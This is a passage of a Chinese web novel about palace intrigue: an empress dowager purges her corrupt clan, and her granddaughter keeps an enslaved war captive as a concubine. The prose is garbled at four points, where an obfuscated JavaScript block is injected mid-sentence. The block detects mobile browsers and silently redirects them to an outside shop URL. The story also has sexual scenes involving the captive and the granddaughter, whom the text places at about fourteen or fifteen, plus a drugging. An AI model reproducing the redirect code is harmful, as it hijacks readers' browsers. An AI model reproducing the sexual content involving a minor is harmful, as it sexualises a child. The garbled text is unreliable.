她道理一套接一套,“再说,男子年长,不论大妇还是子女,都会送侍婢服侍起居。您也说了,你都六十多了,合该收几个侍从日常伺候。男的劲儿大,万一外祖母跟我今天似的,踩着裙摆,扭了脚,正好能直接把您抱起来。” “舅舅多孝顺的人呐,外祖母平时这么辛苦,他肯定像我一样,很高兴有人在外祖母榻边尽孝的!” 脸皮厚,嘴又巧,快能颠倒黑白了,还真是个入仕的好苗子! “哈哈哈,好孩子,你真是我的贴心小棉袄!得此一女,尤胜十城!”程太后抱着程曦哈哈大笑,眼角的皱纹都被挤出来了。 “他们在外面的身份,都只能是我的男宠。拿给我了,那你娘呢?给鑫儿留人了吗?” 程曦凑到程太后耳边:“外祖母你放心,我挑了六个,您三个,母亲两个,我自己留一个。母亲身边的是一对父子,父亲文雅忧郁、儿子天真活泼,总有一款适合她。” 送长辈的比留给自己多。 人选品类,挑的也用心。 小外孙女这事情,办得真就挺讲究。 程太后心里觉得荒谬,可又感觉有一股“合该如此”的欣慰。 她迟疑道:“等等,咱们不是在说你和家里闹得不愉快的事情么。” “是一回事啊。”程曦抬手往门外一指,“您收下战奴,就代表肯定我的做法了。他们绝不敢再找我麻烦。” “而且,您亲自动手剪除程家的枯枝烂叶和豢养内宠一比,朝廷的官员也知道应该管哪一件,放哪一件,不会多嘴的。” 程太后奋斗一辈子,除了自己爱权,也是一心盘着把程家拉拔起来。 程家煊赫,天下皆知。 朝臣里多得是厌恶程太后和外戚程家的。 但比起□□里那点事,御史们更喜欢纠察国政军务。 程太后只要肯处置程家的不法之行,御史们绝对不会一点眼力见没有,还抓起程太后的小辫子。 这是在朝为官,最基本的政治素养。 本就有错的程家和始终劳心劳力的自己被摆在天秤两端,程太后毫不犹豫选择让自己晚年生活舒心愉快。 “咳,既然你都替我考虑到了……就这么着吧。尽快送人进来。”程太后面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17051911|194813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 色不变,当场改口。 她迫不及待想要看一看,能被外孙女另眼相待的战奴都有什么本领了。 人心都是肉长的,难免偏心。 想到外孙女始终惦记着帮她分忧解难,程太后原本有些想说的话,忽然就变得不重要了,转而想要投桃报李。 “你爹天不亮就往宫里递牌子,让内侍传了许多不中听的话给哀家。他和程家走得有些太近了。我记得他一直在京留任。” 程曦小声嘟哝:“真不知道父亲怎么想的,阿娘不宣他来公主府,他也不买一处房产。程家给他划个院子,他还真过去住了。” 程太后扬起双眉,慈和的眼神彻底消失,语调危险:“鑫儿不叫他回家,他就不回去?” 提起父母的关系,程曦挂不住笑了。 她低垂着脖颈,懊丧道:“自我八岁,有人在酒宴上笑说‘驸马不亏是程家人,长公主与驸马的孩子,肖似太后’,父亲与母亲的关系就彻底冷淡下来,不复当初了。” 程太后再也遮不住忧心忡忡,眉心挤出两道深深的刻痕:“那他们逢年过节入宫,那副和和美美的样子是怎么回事!” “……当然是演给您看的。母亲不希望您替她担心。” 程曦八岁那年父母分居,也就是说,驸马程玉现在已经单独住在程家六、七年了。 程太后可太清楚程家内部是怎么“招待客人”的了。 住在程家,程家怎么可能让程玉孤枕难眠? 他这些年不去“求见”妻子,只能是玩得乐不思蜀。 “好哇,难怪他今天比周辉还急着进宫告状,原来是想借哀家之手,跟哀家的亲生女儿挺腰杆子。” 好一招杀人诛心。 程太后大怒,“程玉当自己是个什么东西?他就是个攀着女人裙角的玩意……居然敢自己花天酒地,让我女儿守活寡!” 她一掌拍在桌案上,纯金镇纸都跳了起来。 “何舒,你——你现在就去找找,哀家要他尽快去西北外任。” 西北苦寒,外族频繁南下劫掠,民风彪悍,又很穷困。 既然程玉敢让这么对待她女儿,程太后以为,守活寡不如干脆守寡。 “是,臣领旨。”侍中何舒双手垂放在膝头,没翻看文书便回禀,“余吾州位处西北,攻下不足十载,州民多为鞑靼人不通教化,尚缺一州牧。” 动辄掏刀子捅人的地方,可太棒了! 程太后满意颔首:“是个好地方,写调令吧。程玉该外放磨练了。” 程曦对父亲确实有很多不满,可她万万没想到,自己一句抱怨,就要了他的性命——有了程太后的意思,就算程玉能安全抵达余吾州,在那里做出政绩,他也绝对没命活着回京。 程太后看到外孙女被吓得面色苍白,怜惜地摸了摸她的脸蛋:“别怕,外祖母是为了你们母女好。” 正巧内侍捧着燕窝回来。 程太后直接说:“成业,县主乏了,你送县主去偏殿。用过饭,歇一歇。对了,把新上供的新罗婢叫过来,为县主歌舞助兴。” “……是,谢太后隆恩。” 程曦明白程太后的好意,也知道这是对她们母女最好的选择。 可是,可是…… 程曦白了脸,竟然顾不上管身处何地,没出门就牵住了刘问枢的手。 程太后看着这一幕,微微眯起眼睛,露出饱含深意的眼神。 脑子虽然清楚,但过去被保护得太好了,欠磨练。 该让熙儿亲自动手要几条人命,她才配执棋。 8. 第 8 章 冬天的太阳落山要比其他季节早得多。 日晡时分,阳光已经像个迟暮的老人,输送的光芒黯淡,有气无力斜倚在偏殿中。 刘问枢被程曦压在柱子上,长衫险而又险地在臂弯中挂着。 “呃,好疼……” 贝齿咬住他锁骨地瞬间,年轻男人隐忍地将喘息声压入喉咙,任由程曦在他身上施为。 他攥紧拳头,努力放松身上的肌肉,一串泪珠从眼眶流下,哽咽道:“奴,让乡君开怀些了吗?” 程曦心虚地避开刘问枢被啃得红紫交错的脖子,倒打一耙:“疼,你怎么不知道躲!” 刘问枢抹去泪水,一脸不堪承宠的柔弱无助,“乡君与奴亲近,是喜欢奴。都是奴怕疼,不能让乡君尽兴。” 刘问枢着急地拉住程曦的手往宽广的胸怀上按,让她握住自己的心跳:“您摸摸,奴的心跳好快,奴是开心的,没有不愿意。” 掌下握着弹性十足的胸肌。 她看出来了,刘问枢在展示“自身价值”,非常的爱岗敬业。 感受到手指的爬行,刘问枢脸上重新恢复笑容,他上前轻吻程曦脸颊,轻声细语:“乡君不必介怀,疼一点,很刺激,奴也喜欢。” 真是恬不知耻! ……但意外让人受用。 程曦突然就明白为何人人都咒骂狐媚子,但轮到自己又都会有几个“贴心人”了。 做上位者,被人这么一心讨好,得到的未必是真心;但被人讨好就是被人讨好,温言软语不论如何也比冷言冷语让人舒坦。 她只是不应该拿人发泄情绪。 刘问枢能被从战俘营挑出来,本领绝不差。 ……他,原本也不该……被她这么用。 “我以后不会弄伤你了,刚刚是我不好。”程曦摸摸被她咬出的牙印,坦然认错。 “奴不要上药。奴要把乡君赐给奴的痕迹,长长久久的保留着。”刘问枢握住程曦的手指亲吻,在少女沉醉时打横抱起,带人上榻,让程曦趴在自己身上。 偏殿里安静得只有衣料落地声,他们的呼吸渐渐交融。 偏殿门口,梨园的伎乐班被一名宫女拦着,紧贴着外墙,站了一溜。 她们都低垂着头,鹌鹑似的挤在一块,谁也不敢出声。 成业带着提膳的小黄门回来,看着这群伎乐,轻轻“呦”了一声,当即就明白殿内有事。 他轻手轻脚地走进内殿,扒着窗栅朝内望了一眼,果然看到床帐落下了。 成业赶紧退出来。 抬手指了个两机灵的小黄门,压低声音吩咐:“偏殿后面有一排下人房,把人带过去等着,别糟践人,小心冻坏了。再去拿个炭炉,把燕窝放在内殿的外间温上。留一个宫女在外间候着,什么时候乡君起身,什么时候再去送吃食、通知表演,别扰了乡君的兴致。” 成业吩咐完,带着剩下的侍人回去程太后处复命。 * 残阳如血,红艳的宫墙被染成尖锐的暗红。 勤政殿点亮了蜡烛,照得大厅纤毫毕现。 程太后仍旧坐在桌案后,笔耕不辍。 听过成业的禀报,她笑着摇摇头:“年少贪欢。哀家年轻时候,与先帝也是这般,遇上烦心事耳鬓厮磨一番,把情绪都消耗了。” “曦儿太小,不经事。但有情绪就好,有情绪证明她心里是懂我的苦心的。我就怕小辈都是些不长脑子也不长心窍的。” 成业笑道:“乡君既然像娘娘,当然也有一颗七窍玲珑心。” 程太后放下笔,笑着动了动发酸的脖子。 侍女马上为程太后揉按脖颈。 适中的力道疏通了酸胀,程太后舒服地半阖眼,不紧不慢道:“程辉还在外头候着?” “随荣侯与其子并驸马一直等着您召见呢。” 那就是等了快三个时辰了。 “程玉的事情,问清楚了么?” 成业忙道:“乡君所言不虚,驸马确实偷娶偷生来。” “让程辉独自进来。” “是。” 成业走到门口吩咐几句,另有小黄门去跑这趟任务。 片刻后,随荣侯一脸急切地进门,跪倒在程太后桌前。 程辉知道程太后时间珍贵,没有一句废话,开口便道:“姑母,程家视太后为马首是瞻,您有何拆差遣只管送一句话,家中无有不从,此番为何主动断了程家与皇室的姻缘?” 程太后面无表情,口气淡淡:“程玉都被你们收在家中另行婚配,哀家虽然老了,但也看得明白——你们这是没把皇家的威严当回事。” 程辉面上一白,险些咬了舌头,急忙狡辩:“这是程曦那丫头胡言乱语!求姑姑看在这么多年的情分……” 程太后被逗笑了:“她是‘荣昌乡君’,有封号、有食邑、有圣宠、可随意出入宫廷,你称呼她为‘那丫头’,哈哈哈!” 程太后眼神彻底冷下来,说出的话字字如刀:“程家跟随先帝搏前程,胸中有丘壑的三位兄弟在大战中死绝。 这些年来,你们但凡发现一个才智出众的子弟都积极为其开枝散叶。 御史台多少次发本,向哀家状告你们违背法纪,超额娶妾。 看在一家人的份上,哀家按下不表。 你们现在胆子大了,连哀家的女婿都拉去配种,让他生了一群出身不详的孽种,折辱我的女儿——你和哀家说‘情分’?” 程太后毫无诚意地拍着手掌,“程辉,你真懂事啊。” 程辉以头触地,没想到程家自以为机密的行为居然被程太后知道的清清楚楚,尴尬地想要解释:“圣恩皇宠终有尽时,家中是想培养出人才,能在朝堂助姑母一臂之力。” 程太后根本不理程辉这些场面话,明确要求:“哀家给你一个时辰,把伺候过程玉的女人和生出来的孽种都交到成业手中。” 程辉膝行上前,抓着程太后的手恳求:“姑母,不可如此啊,程玉的几个孩子聪慧灵秀,非常人所能及,他们肯定能成为程家未来的希望。日后,只要乡君愿意接纳,稍微提拔一二,必大有可为……” “滚出去吧。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17051912|194813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”程太后嫌恶地甩开程辉,擦着被碰过的手低语,“程家随时可以换一个‘随荣侯’。” “姑姑,求您了!那几个孩子可以放在臣名下!” 程太后终于不愿再忍,抓起茶碗砸在程辉头上,怒道:“他们本来就已经在你名下——还想和哀家弄鬼!” 程太后挥挥手指,强壮宫奴迅速上前,将程辉堵嘴、拖出正殿。 出了门,成业对着程辉摇头叹气。 程辉仍旧没明白,急切恳求:“成业公公,求您向姑姑解释,我真是为了成家的未来好,没有私心啊!” 脑子怎么就不开窍呢。 有程太后在,整个夏国血脉中已有程家的血,难道还会让程家彻底落魄了? 这时候不想着规训自家儿郎品性,养出些忠君爱国的贤士,还想走歪门邪道。 难怪太后如此恼火。 成业索性把话说白了:“随荣侯,您何必为了个外三道的旁支阻碍自己的荣华富贵呢?随着先帝征战过世的几位舅爷都有后人。您有心就培养培养他们。主动把别人孩子挂自己名下,这种当王八的事情,只有奴婢这种无根的宦官才不得不做啊。” 程辉好似被一桶冷水兜头淋下。 舅舅们的孩子都是群莽汉,只懂行伍杂事……早被他分出去了。 全做错了! 程辉吓得双腿发软,顾不上太监总管成业的话有多难听,急忙表忠心:“之前,是弟弟糊涂了,还请公公向姑母说明,我一定不负太后。” “奴婢静候佳音。”成业笑眯眯地陪着程辉走过这段路,直到他与程玉、程旭汇合,才掉头返回。 成业一走,程旭马上对着他背影“呸!”了一声,小声咒骂:“阉狗,仗势欺人!爹,他是不是又跟程曦那丫头合着给您找不痛快了?” 程辉给儿子使了个眼色让他闭嘴,转头面对程玉的时候却笑开了。 “挨一顿教训,能有个明白话也是好的。” 程辉仿佛是防备什么人,故意左右看看,引得程玉也跟着疑神疑鬼地观察起环境。 他一把抓住程玉,压低声音道:“走!有件好事,为兄回府再与你细说。” 三言两语,程玉被糊弄回了程家大宅。 * 程家大宅修缮得金碧辉煌,无数艳婢身着彩衣穿行其中,场面比长乐宫中还要气派。 程辉到家就命人张罗了一桌子好菜,把程玉按在席面上:“玉弟,坐!哥哥去亲自选一瓶好酒为你庆贺!” 言罢,他将一脸期待的程玉留在桌旁,自己去隔间,把迷药倒入美酒,猛烈摇晃几下,然后端着笑脸返回桌旁。 程辉给程玉亲自斟酒,碰杯共饮后笑道:“恭贺玉弟,太后有意栽培你,要让你外放两任,然后回京直入九卿了!” 语毕,程辉又给程玉倒了一杯,“喝!” 程玉瞪大眼睛,被惊喜得失去防备,连着被灌了三杯。 “玉弟回来后直入九卿,可不要忘了提拔孩子们!” 程玉心热眼盲,急声答应:“族兄放心!” 9. 第 9 章 席面上,气氛火热。 程玉喝到头昏脑胀才带着疑惑询问:“不对啊,这事情不是曦儿进宫告状,太后罚我的么?” 程辉继续给程玉灌酒,同时胡编道:“玉弟说什么胡话呢。太后这是挨不住曦儿的歪缠,作假给她看呢。外放的地方虽然算不上好,可好地方还怎么显出你的能耐?” 前朝要是缺了程家官员盘根错节,程太后不知道会少了多少助力。 在程家人看来,程太后得回权势,肯定要大肆提拔程家子弟。 这次外任之后,确实该让他升官了。 程玉想了想,跟着点头:“辉兄说的是。” 程辉哈哈大笑,又斟酒数次:“你只管放心,咱家有的是人和钱,外派多带随扈,安全得很!” “那就、就有劳……唔!我好晕……”酒过三巡,程玉一头栽倒在席面上。 程辉撑了一晚上的假笑顷刻消失。 他甩着吸饱了酒水的袖子下令:“去,立刻给驸马收拾行李,送驸马出京。” 几个壮奴上前,把程玉拖死狗似的塞进马车,随便丢了几箱行李和调令就动身离开。 确定程玉被送出京城,程辉彻底不再装了。 他心急火燎地催促:“快些!把程玉院子里的三个小娘们和那俩孩子都堵嘴捆了,送到宫门口去!” 程家大宅东北角的院子里响起短暂的哭闹声,这让人心烦的声响又在片刻后彻底消失。 一驾裹着破旧青帷的马车从程家角门离开,没入宫墙。 * 程曦以为自己只躺了一小会,没想到睁开眼睛的时候,天已经完全黑了。 守在门外的小黄门听到动静,赶忙隔着门解释:“太后见乡君疲累,今日留乡君宿在宫中。乡君,酉时五刻了,可要用膳?” 程曦情不自禁抚摸着刘问枢的腰腹,对外问:“外祖母吃过了吗?” 小黄门夸张地叹了口气:“太后日理万机,正被几位朝臣围着,给他们调解争执呢。” 刘问枢隐忍地咬住手背阻止自己出声,程曦更觉有趣,故意对着胸口吹了口气,然后在他浑身颤抖中起身下榻,唤人来梳妆。 刘问枢急忙扯下床帐,用锦裘遮挡自己的身体,彻底把自己藏住。 程曦不可思议地看着这一幕:“你,还怕人看?” “……奴生是乡君的人,死是乡君的死人,怎么能让其他人看了身体。” 话很甜蜜,程曦却隐约听见了磨牙声。 或许是,听错了吧? 侍女进门,为程曦更换衣裙、梳理发髻、搭配簪钗。 程曦视线却完全被刘问枢占据,始终侧眼盯着帐幔,嘴角越翘越高。 刘问枢一直很“卖力”,她还以为刘问枢这方面无所谓呢,结果,居然……挺羞涩的? 她不禁生出几分促狭之心。 “那我去用饭了哦~” 程曦摆手,让侍婢通通离开。 她故意提着裙边,轻手轻脚地走到床帏边,突然一把掀开。 “!”一只手掐住程曦的脖子,将她按在床面上。 发钗坠地,刚刚梳理好的青丝散满床面。 程曦愣在原地。 掐着她的男人却好似经历了更深的恐惧。 刘问枢发出一声短促的惊叫,白着脸,急急忙忙松开手,整个人趴进程曦怀里,紧紧抱着她的腰颤抖。 “乡君怎么去而复返了。奴、奴……” 刘问枢眼眶红红的,好似承受不住似的,泪珠大颗落下,“奴以为,太后嫌弃奴霸占着乡君,要趁着乡君离开,将奴处置了。” 程曦:“啊?” “奴已经想好了,”刘问枢吸吸鼻子,把脸埋在程曦颈窝之中,“奴就算是死,也要拼到乡君回来,不能这么不明不白的就消失,让乡君惦念。” 他们之间的感情已经有这么深厚了吗? 这是什么时候的事情? 她怎么不知道。 程曦疑惑又好笑,已经忘了被掐住脖子的惊讶。 “你多心了。我养男宠的事情,是在外祖母面前过了明路的。她不会跟一群小人物计较。” 程曦肚子叫了几声,她总算把吃饭当成头等大事,推开刘问枢,“你真不愿意跟我一起去外祖母面前用晚膳?说不定有机会给你即将送去的兄弟们说几句好话呢。” “奴来为乡君盘发。”刘问枢站到程曦背后,重新抚平衣领和裙角,重新梳了个简单的发髻。 “那位公公提过,太后面前有不少官员在呢。奴蒙乡君不弃,可我不能仗着乡君的宠爱胡乱露面,惹人非议。我不会去的。” 他姿态柔顺,句句在理。 “那我让人单独给你备一份现做的热菜送来。”程曦主动提议。 刘问枢俯身,从后贴上程曦的脸,与她耳鬓厮磨:“奴等乡君回来,再一起用饭吧?乡君陪伴太后,要以太后为主,肯定吃不饱。” “胡说什么呢,都是外祖母顾着我的。自己乖乖吃饭。”程曦随口反驳一句,抬脚离开。 门外侍女得了程曦吩咐,马上给刘问枢另备现做的饭食。 程曦走后不久,新出锅的热菜已经上桌。 两肉两素一汤,并一份夹着厚厚肉馅的馅饼。 油脂渗透馅饼外壳,被煎得焦黄。 刘问枢竟仿佛完全感觉不到温度似的,将肉饼徒手抓起,直接送到唇边。 浓香扑鼻。 他咬了一小口,肉汤迅速在口中铺开,霸道地占据了整个口腔。 牛肉和香菇丁混合的馅料里不知道加入了何种香料,让口感分外丰富,面皮也劲道十足。 送餐的小黄门机灵地提醒:“乡君特别吩咐,郎君疲乏,膳房在精肉馅中加了仙灵脾和海马,一定能助郎君让乡君满意。” 仙灵脾补肾壮阳、强筋健骨、祛风除湿;海马温肾壮阳、消肿散结,可治遗尿。 刘问枢再看桌上的几道菜,心里咯噔一声。 他迟疑道:“这盘切得很薄的肉片是?” 小黄门:“炙鹿肉。” 壮阳! 刘问枢捏紧筷子:“那这道汤品是?” “杜仲羊血汤。” 壮阳! 他拨开这盘绿油油的菜叶:“这又是……这个我认识,是炒韭菜。” 壮阳! 小黄门生怕说的还不够 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17051913|194813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清晰,清清嗓子再问一遍:“郎君明白了么?” “奴懂得的,今晚自当尽力。”刘问枢几乎捏断了筷子。 小黄门满意点头,离开房间:“郎君慢用。” 四下无人,刘问枢眼中隐隐有泪光闪烁。 “荣昌乡君,居然一直是不满意的。” 他的自信碎了。 * 勤政殿偏厅,烛光闪闪。 工部侍郎和礼部侍郎两个老头抓着对方衣领,不甘示弱地相互叫嚣。 礼部侍郎:“你以为想盖就能盖?住在附近的百姓要迁去何处?外城早没空地了!” 工部侍郎:“地基都打了一半,你们迁不走人,简直是无能。钱都流水似的花出去了,现在说不能盖,你们早干什么了!” 程太后单手撑着脸颊,笑眯眯地看着他们,一点阻拦的意思都没有。 程曦出现,程太后立刻对她招手,把人叫到身边。 “饿了?”她揉了揉程曦的小脸,笑道,“嗯,眼下的青痕消了,看来是睡饱了。” 程曦点头,习惯性地握住程太后手臂揉捏:“一觉睡醒,腹中便觉空虚了。” 指下肌肉僵硬,程曦变了脸色:“外祖母难道整个下午都被困在房里,一步没挪动过?您太不在意自己的身体了,我要教训您了!” 程太后只好一面把程曦揽入怀中,一面笑着求饶:“实在是这些老臣一点都不能帮我分忧解难,还给我找事。要怪啊,你就怪他们。” 两个年近半百的忠臣成了程太后祖孙俩调笑的对象,顿时撕扯不下去了。 两人相互冷哼几声,齐齐放手。 礼部尚书干脆把程曦拉入战场:“因为工部拖延,太后三年前点名要的别宫拖到现在,完工面积不足一半。太后今日计划、举办典礼,如何准备啊?” 她还当是什么事,原来又是为了那处别宫。 程曦当场笑着打起圆场:“不过一处新宅,外祖母忙着国政,没时间出游,倒也不急。两位不要为了小事伤和气。” “太后想把别宫赐给乡君,才叫人过来询问的。”成业悄声提醒。 别宫面积比皇宫小,又只盖了一半,赏赐给程曦,尺寸不过分。 她转头继续对一脸不赞同的程太后撒娇:“外祖母,您前些日子不是还说国库空虚,连陪都的宫殿都推后修缮了么! 怎么又突然要把舅舅准备养病而动工的别宫赐给我,而且还要浪费银两举办典礼?” 程太后被外孙女哄得满心欢喜,脸上终年不化的冷色彻底消散,“好啦,别晃了,我头上插的簪子都要被你摇晃掉了——你这小没良心的,还没看出来,哀家是要给你升爵位了?” “升爵位……?”程曦满脸不敢置信,当场掰着手指计算起来。 “孙女年幼,身无寸功。父亲又没有出色政绩。我能做乡君,领着二百户食邑,已经是外祖母和舅舅的恩宠了,怎么还能升?” 程曦急忙摆手:“无功不受禄,‘县主’的爵位我暂时不能要。” 爵位虽好,但踩着程家人丢官的机会登上去;回过头来,就要接手替程家人收拾烂摊子的脏活了。 她不想干。 10. 第 10 章 “哈哈哈!” 勤政殿里只有程太后的笑声。 她单手撑着下巴,兴味十足地观察程曦,又问一次:“你真想好了?封号和食邑,现在拒绝了,日后可不是你想要就能要的。” “哀家不妨现在就告诉你,要给你的奖赏是把封号提到‘县主’,食邑升至八百户。现在拒绝了,往后未必还有机会。” “不,我不要!”程曦眼睛瞪得圆溜溜的,整个人挺直了脊背,好像被吓到的小动物,随时要跳起来,拒绝的语气无比坚定。 程家蒸蒸日上,目前还是称不上烂摊子。 可正所谓“千里之堤毁于蚁穴”,程家实际惹出的毛病,早不只是“蚁穴”这种小麻烦。 程曦把事情捅到程太后面前,程太后有机会把娘家捏成自己想要的形状,有多高兴;程家那群沾上事情的亲戚,就会有多恼火。 况且,因为把同宗告了而被加官进爵,说出去对程曦的名声也有很大冲击。 她不指望名声活着,但人没必要找骂,她实在不想居功。 这事情,最好如同风过水面,过了就过了,无痕无踪。 程曦转转眼睛:“外祖母,您今年生日快到了,我还没想好送什么。要不,您就当这是我提前送您的生辰贺礼吧。” 程太后脸上笑容扩大,得意对下面几个老臣炫耀:“看看,哀家没白疼她。这份寿礼真是送到我心坎里了。” “乡君大义,有太后的风范。”老臣齐声恭贺。 乡君升县主,官俸、食邑都会扩大数倍。 这些收益不是一次性的,而是一辈子的。 程太后在的时候,荣昌乡君不缺圣宠,首饰珍玩、衣料、家具等等,流水似的赏赐出去。 可老太太还能活多少年都是说不准的。 等老太太过世,封号和食邑才是女子实打实的傍身之物。 荣昌乡君长在宫廷,她比谁都清楚其中的意义,可她居然这么轻飘飘的拒绝了。 老臣的这声夸奖,虽然有给程太后面子的意思,但他们心里也是赞同八成的。 现在夏国仍旧在和襄国争天下,虽然夏国占了大半土地,但这些土地上的百姓加在一起,满打满算也就四十万户。 荣昌乡君拒绝的是六百户的食邑吗? 不,她拒绝的是朝廷七百分之一的收入啊。 这么多钱粮,一年下来,供养的重骑兵团战斗力足以每年攻下四、五个面积不小的乡了! 程太后等的就是臣子们主动搭话。 听到声音,她脸上笑意收拢,满腹怨气地比划了个手势,“都是儿女亲家,我也不怕你们笑话——荣昌昨日提醒哀家,程家现在不像样子之后,哀家就去找了这十来年压着的奏本。” 程太后摇头叹气:“不看不知道,看完给哀家气得,一整晚翻来覆去的睡不着——是我狭隘了,以为朝臣看不得我用娘家人,原来这些年他们真背着我做了不少恶心事!” 说到怒处,程太后狠狠拍了下桌面,柳眉倒竖。 “太后,您别动怒,小心凤体。”礼部侍郎忙道。 成顺帝已经躺床上了,下头四个皇子,一点处理政务的经验都没有。 要是程太后再倒下,那夏国的天可就真塌了。 程曦给程太后揉着胸口顺气,程太后难受得喘了几声,面色总算恢复如常。 她才拖长了声音说:“我几个兄弟为了国家,连命都填进去了,晚辈居然如此不成器!哀家活到这把岁数,大半辈子的回忆起来都变苦了。” “趁着哀家还活着,必须管管家里了——哀家信得过的朝臣都在场,我便给你们交个实底。” “为长久计,程家在朝为官的,人品能力不成的,哀家都准备换掉了。我不能留着他们给娘家招祸!” 下面坐着的几个老臣心下都震惊不已。 程家做的事情……都在京城,他们也有所耳闻。 要说犯了事,那程家人确实干过;但真要说罪行滔天,倒也不至于。 这年头,英雄老子狗熊儿的事难道还少吗? 程太后实在不必做到把有问题的族人从朝堂上全赶走,这惩罚太严重了。 礼部侍郎不解:“太后娘娘,恕臣多嘴。过去,程家的事情,御史台是对您多次提过的。为何这一回突然就信了。是不是又发生什么了?” 程太后愧疚地看了座下的朝臣一眼,主动认错:“正所谓‘疏不间亲’。御史台那群人,闻风奏事,捕风捉影,先帝在的时候,哀家代理政务,就没少被他们找麻烦。后来,他们再说我娘家人不好,我怎么会信呢?” 再公正的人,也难免有所偏颇。 程太后对娘家人的偏爱不过分,再加上御史台的官员也确实没少给程太后找事。 程太后听到御史台说自己娘家有问题,没觉得是御史台找借口破坏她名声,想把御史台的混账官员全弄死,都算程太后心胸宽广了。 程太后自己把自己说笑了,“荣昌在我心里份量和其他人不一样,她都这么说了,可见是真有问题,哀家才决定认真审视自家人。” “哈哈哈,荣昌乡君这一回确实该记一首功!”礼部侍郎花辞捋着胡须,不禁跟着一块笑起来。 临沂王娶了礼部侍郎花辞的女儿,两家是姻亲,他说话比寻常官员随意得多:“难怪您打算把未完工的别宫,缩了尺寸赐给荣昌乡君,还要给她晋封号和食邑。” “可惜这丫头觉得家事不该居功。” 话说到这时候,勤政殿内的朝臣们彻底明白程太后的意思了。 太后不是在跟朝臣“商议朝政”,她是对“近臣”宣布自己的决定。 程太后已经主动做出让步。 一旦程家有问题的子弟撤出朝堂,那么不论军中还是文士,都会留出一大片空位。 这是程太后给心腹和姻亲们的“退让”。 他们不可不能不接住这个好处,但好处吃下肚,那么就要给程太后“回报”。 这份回报,原本应该变成荣昌乡君的晋位和食邑。 但这个选择在一开始,就被荣昌乡君自己拒绝了;接下来,程太后要何等回报,朝臣难以估测了。 如此算来,还不如给荣昌乡君提封位和食邑呢。 反正她身上流着皇室的血,又只是个女孩。 ——女子的爵位只有她自己这一代享用,人死恩灭,再如何皇恩浩荡也不影响以后。 失算了! 谁都不想做报丧鸟,主动询问程太后到底要什么作为利益交换。 书房内鸦雀无声,臣子们或低垂头颅,或与亲近人交换着眼色,各自掂量着程太后这份决定背后的利益牵扯。 幸好,程太后也没打算让他们危难。 她直接笑着说:“哀家年岁不小了,替陛下管不了几年的朝政啦。我眼看着孙子们一个个都不思进取,混到二十多岁,一个个的不娶妻、不生子、不入朝。我不放心呐。” “都说‘成家立业’,哀家想着,让他们尽快 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17051914|194813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成婚。” 原来是要娶孙媳妇,吓死他们了! 要不然说女人成婚还是有点用处的呢,娘家人使唤得动,就使唤娘家人;娘家人做得不好,扶持一把夫家子孙,也得人人称颂贤良淑德。 程太后这一手玩的,臣子们各个都在心里服气。 侍中裴景率先笑出声,“老臣提前恭贺太后有孙媳妇进门孝顺。” 绝口不提程家人的下场。 他说完甚至还站起来,往门外探头看了看,一脸期待地问:“老臣就说太后过了晌午把大家都召进来商议政务,肯定有私心,原来相中了咱们这群老家伙家里的女郎。” “现在事了,太后是不是该开宴,带咱们吃顿好的,才能让咱们心甘情愿把孩子送给您挑拣?” 只要和程太后站在同一个阵营,都完全理解和体谅程太后的做法。 “那明天,你们可得让夫人带着家里花骨朵一样的女孩,都进宫给我慢慢挑。”一句话点明了程太后的要求。 程太后想要挑孙媳妇对各家来说是好事,那当然是想怎么挑就怎么挑。 朝臣愿意都顺她的心意。 她现在只是个着急的老太太! 一经点拨,朝臣之间顿时爆发出无数积极赞同的声。 程太后好像很惊喜似的附和:“既然大家今晚兴致都高,那择日不如撞日。成业,开宴,去梨园叫人过来歌舞助兴。” 程曦坐在一旁,内心同样大受震撼。 原来,外祖母这些年都是这样与朝臣相处的。 每一句话都是利益和人情双向的往来。 利益过多就太冰冷,让人防备;人情牌打多了,也过于腻味,显不出底气。 所有人都觉得赚了才是好结局。 ——这一通对话下来,已经无人追究那些即将丢官的程家子弟的罪责和刑罚了! 她果然太生嫩了,想要像外祖母一样,还有很多要学的。 * 